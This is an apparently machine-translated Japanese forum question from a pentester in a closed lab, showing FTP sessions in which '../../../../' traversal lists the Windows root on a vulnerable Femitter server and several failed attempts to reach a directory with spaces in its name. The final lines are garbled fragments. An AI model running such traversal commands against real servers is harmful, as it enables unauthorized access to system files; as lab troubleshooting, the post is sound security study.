私は、閉じた参照環境で制裁されたペンテストを実施しており、一見単純な問題に苦しんでいますが、現在は解決できません。
MS Windows OSで実行されている脆弱なFermitter FTPサーバーに対してディレクトリトラバーサル攻撃を実行しようとすると、システムルートでLISTを実行できます(アドレスとコンテンツリストは参照用にここで変更しました)。
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
ただし、などの空白を含むフォルダーのコンテンツを一覧表示する場合、Documents and settings
空白が無視されるため、ディレクトリのコンテンツを一覧表示できません。
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
さまざまなFTPクライアント(LinuxおよびWindowsのCLIとGUI)を使用してみましたが、それらは空白を無視するか、ディレクトリトラバーサルを禁止します。
また、最初にrawソケットを使用し、次にftplibを使用してコマンドを16進数形式でFTPサーバーに直接送信することにより、Pythonで攻撃のスクリプトを作成しようとしましたが、成功しませんでした。
数時間のグーグルでの作業では解決策が得られませんでした(はい、多くのオプションがあり、機能しませんでした)。そのため、同じ問題を抱えている人がここにいます。確かに、このような空白を使用したディレクトリトラバーサルが必要になるのは初めてではありません。
\
たり、ディレクトリ文字列を引用